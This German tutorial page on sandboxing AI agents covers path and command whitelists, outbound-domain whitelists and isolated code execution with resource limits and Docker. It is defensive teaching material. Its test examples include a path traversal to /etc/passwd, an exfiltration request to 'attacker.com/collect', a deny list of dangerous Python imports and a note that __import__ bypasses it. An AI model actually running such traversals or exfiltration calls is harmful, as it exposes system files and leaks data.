Sandboxing und Isolation
Auf dieser Seite
Warum isolieren Sie KI-Agenten?
Ein KI-Agent, der Code ausführt oder Tools aufruft, unterscheidet sich grundlegend von einem einfachen Chatbot. Ein kompromittierter Chatbot erzeugt im schlimmsten Fall nur eine peinliche Antwort; ein kompromittierter Agent handelt – er kann Systembefehle ausführen, sensible Dateien lesen oder mit externen Diensten kommunizieren. Alle bisher behandelten Verteidigungsmaßnahmen zielten darauf ab, Kompromittierungen zu verhindern. Sandboxing ändert die Haltung: Es geht davon aus, dass eine Kompromittierung am Ende doch eintreten wird, und konzentriert sich darauf, zu begrenzen, was ein Angreifer nach dem Eindringen tun kann. Dies ist ein fundamentaler Wandel, weshalb Sandboxing keine der vorherigen Ebenen ersetzt.
Ebene 1: Zugriff auf Ressourcen einschränken
Die erste Ebene wendet das Prinzip der geringsten Rechte auf Dateien und Befehle an. Der entscheidende technische Punkt ist die Verwendung von resolve() vor dem Vergleich: Ohne diese Funktion würde ein Pfad wie /data/app/uploads/../../etc/passwd mit dem erlaubten Verzeichnis beginnen und eine naive Präfixprüfung bestehen. Das Auflösen des tatsächlichen Pfades vereitelt diese Traversierung, die weiterhin eine der häufigsten Angriffe gegen Agenten darstellt, die Dateien manipulieren.
import os
from pathlib import Path
class SandboxPermissions:
"""Kontrolliert Zugriffsrechte auf Ressourcen."""
def __init__(self, allowed_folder: str, allowed_commands: list[str]):
self.allowed_folder = Path(allowed_folder).resolve()
self.allowed_commands = set(allowed_commands)
def verify_path(self, path: str) -> bool:
"""Überprüft, ob sich ein Pfad im erlaubten Ordner befindet."""
resolved_path = Path(path).resolve()
try:
resolved_path.relative_to(self.allowed_folder)
return True
except ValueError:
return False
def verify_command(self, command: str) -> bool:
"""Überprüft, ob ein Befehl in der Whitelist enthalten ist."""
cmd_base = command.split()[0] if command else ""
return cmd_base in self.allowed_commands
def read_file(self, path: str) -> str:
"""Sicheres Lesen mit Pfadüberprüfung."""
if not self.verify_path(path):
raise PermissionError(
f"Zugriff verweigert: {path} liegt außerhalb des erlaubten Ordners"
)
return Path(path).read_text()
# Verwendung
sandbox = SandboxPermissions(
allowed_folder="/data/app/uploads",
allowed_commands=["ls", "cat", "wc"],
)
# OK: Datei im erlaubten Ordner
try:
content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
print(f"Blockiert: {e}")
# Blockiert: Versuch der Pfadtraversierung
try:
content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
print(f"Blockiert: {e}")
Befehle folgen derselben Logik und verwenden eine Whitelist statt einer Blacklist. Die Asymmetrie ist entscheidend: Eine Blacklist zwingt Sie dazu, jeden gefährlichen Befehl vorzustellen – eine Übung, die Sie verlieren werden – wohingegen eine Whitelist nur erfordert, dass Sie auflisten, was der Agent tatsächlich benötigt, oft nur drei oder vier Befehle.
Ebene 2: Ausgehenden Datenverkehr kontrollieren
Netzwerkisolation adressiert das Szenario der Datenexfiltration, das zuvor diskutiert wurde. Solange der Agent eine HTTP-Anfrage an jede beliebige Domain senden kann, kann jede von ihm berührte Datenmenge Ihren Perimeter verlassen, und der ausgehende Datenverkehr sieht aus wie normaler Anwendungsdatenverkehr. Die Beschränkung der Ziele auf eine explizite Liste verwandelt einen Exfiltrationsversuch in einen protokollierten Fehler.
import subprocess
class NetworkSandbox:
"""Kontrolliert die Netzwerk-Kommunikation des Agenten."""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
def is_allowed_request(self, url: str) -> bool:
"""Überprüft, ob sich eine URL in der Whitelist befindet."""
from urllib.parse import urlparse
domain = urlparse(url).hostname
return domain in self.allowed_domains
def secure_fetch(self, url: str) -> str:
"""HTTP-Anfrage mit Domainüberprüfung."""
if not self.is_allowed_request(url):
raise PermissionError(f"Domain nicht erlaubt: {url}")
import urllib.request
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
sandbox_net = NetworkSandbox(
allowed_domains=["api.openai.com", "api.anthropic.com"]
)
# OK
try:
sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
print(e)
# Blockiert: Exfiltration an eine externe Domain
try:
sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
print(f"Blockiert: {e}")
Ebene 3: Code ausführen, ohne ihm das Vertrauen in die Maschine zu schenken
Das Ausführen von Code, der von einem Modell generiert wurde, ist der heikelste Fall. Die folgende Implementierung kombiniert drei Schutzmaßnahmen: Import-Prüfung vor der Ausführung, Begrenzung von Arbeitsspeicher und CPU-Zeit, die innerhalb des Skripts festgelegt wird, und eine Umgebung, die auf das absolute Minimum reduziert wird, wenn der Subprozess gestartet wird.
Eine Warnung ist bezüglich der Import-Verifizierung notwendig. Sie stützt sich auf Textsuche, und ein sorgfältiger Angreifer wird diese umgehen – __import__("os") enthält nicht die gesuchte Zeichenfolge. Behandeln Sie diese Verifizierung als Sicherheitsvorkehrung gegen Fehler und naive Versuche, niemals als Sicherheitsgrenze. Die eigentliche Grenze ist der isolierte Prozess mit seinen Ressourcenbegrenzungen.
import subprocess
import tempfile
import os
class ExecutionSandbox:
"""Führt Code, der von einem Modell generiert wurde, in einer isolierten Umgebung aus."""
def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
self.timeout = timeout
self.max_memory = max_memory_mb
def execute_python(self, code: str) -> dict:
"""Führt Python-Code in einem isolierten Prozess aus."""
# Sicherheitsprüfungen vor der Ausführung
dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
for imp in dangerous_imports:
if f"import {imp}" in code or f"from {imp}" in code:
return {
"success": False,
"error": f"Verbotener Import: {imp}",
"output": "",
}
# Erstellen einer temporären Datei
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as f:
# Fügen Sie Einschränkungen am Anfang des Skripts hinzu
wrapper = f"""
import resource
import sys
# Arbeitsspeicher begrenzen
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))
# CPU-Zeit begrenzen
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))
# Benutzercode
{code}
"""
f.write(wrapper)
temp_file = f.name
try:
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=self.timeout,
env={"PATH": "/usr/bin", "HOME": "/tmp"},
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000] if result.returncode != 0 else "",
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Zeitüberschreitung", "output": ""}
finally:
os.unlink(temp_file)
# Verwendung
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)
# OK: einfache Berechnung
result = sandbox.execute_python("print(sum(range(100)))")
print(result) # {"success": True, "output": "4950\n", "error": ""}
# Blockiert: Versuch des Systemzugriffs
result = sandbox.execute_python("import os; os.listdir('/')")
print(result) # {"success": False, "error": "Verbotener Import: os"}
Für Produktionsfälle bietet Docker eine robustere Isolation, da es nicht mehr auf die Kooperation des ausgeführten Codes angewiesen ist. Jede Option für einen Befehl schließt eine bestimmte Tür: --network=none beseitigt jede Möglichkeit der Datenexfiltration über das Netzwerk, --read-only verhindert Persistenz, --memory und --cpus begrenzen den Verbrauch, --tmpfs gewährt einen flüchtigen und begrenzten Arbeitsbereich, und --security-opt=no-new-privileges verbietet Eskalation während der Ausführung. Die --rm-Flagge zerstört den Container am Ende und garantiert, dass kein Zustand von einer Ausführung zur nächsten überdauert.
class DockerSandbox:
"""Führt Code in einem ephemeren Docker-Container aus."""
def __init__(self, image: str = "python:3.12-slim"):
self.image = image
def execute(self, code: str, timeout: int = 10) -> dict:
"""Führt Code in einem isolierten Container aus."""
cmd = [
"docker", "run", "--rm",
"--network=none", # Kein Netzwerk
"--memory=256m", # Arbeitsspeicherbegrenzung
"--cpus=0.5", # CPU-Begrenzung
"--read-only", # Nur-Lese-Festplatte
"--tmpfs=/tmp:size=50m", # Begrenzter temporärer Speicher
"--security-opt=no-new-privileges",
self.image,
"python3", "-c", code,
]
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000],
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Zeitüberschreitung", "output": ""}
Die richtige Ebene wählen
Das Stapeln aller drei Ebenen auf einem einfachen FAQ-Chatbot ist kostspielig und unnötig, während die alleinige reliance auf der ersten Ebene für einen Agenten, der Code ausführt, dem Schutz nichts entspricht. Die folgende Tabelle bietet einen Ausgangspunkt; passen Sie sie basierend auf der Sensibilität der zugänglichen Daten an, was oft wichtiger ist als die Sophistikation des Agenten.
| Szenario | Empfohlene Ebene |
|---|---|
| Einfacher Q&A-Chatbot | Berechtigungen (Ebene 1) |
| Agent mit API-Zugriff | Berechtigungen + Netzwerk (Ebenen 1-2) |
| Agent, der Code ausführt | Vollständiges Docker (Ebene 3) |
| Multi-User-Agent | Docker + Sitzungsisolierung |
Welche Ebene Sie auch wählen, testen Sie sie so, als würden Sie eine Funktion testen. Ein Sandbox, den Sie installieren und dann vergessen, verschlechtert sich im Laufe der Zeit schweigend – eine hinzugefügte Abhängigkeit, ein “vorübergehend” gemounteter Volume, eine für die Fehlerbehebung geöffnete Domain. Führen Sie Pfadtraversierungs- und verbotene Domain-Tests mit jeder Agenten-Update durch: Ein Sandbox-Umgehung ist keine geringe Anomalie, sondern ein kritisches Ereignis.
Kernaussagen
- Sandboxing ist essenziell, sobald ein Agent Zugriff auf Tools hat oder Code ausführt
- Drei Ebenen der Isolation: Berechtigungen, Netzwerk, Container – kombinieren Sie sie basierend auf dem Risiko
- Das Prinzip der geringsten Rechte gilt für jede Ressource: Dateien, Netzwerk, Befehle
- Docker mit
--network=noneund--read-onlybietet die robusteste Isolation - Isolation muss regelmäßig getestet werden – eine Sandbox-Umgehung ist ein kritisches Ereignis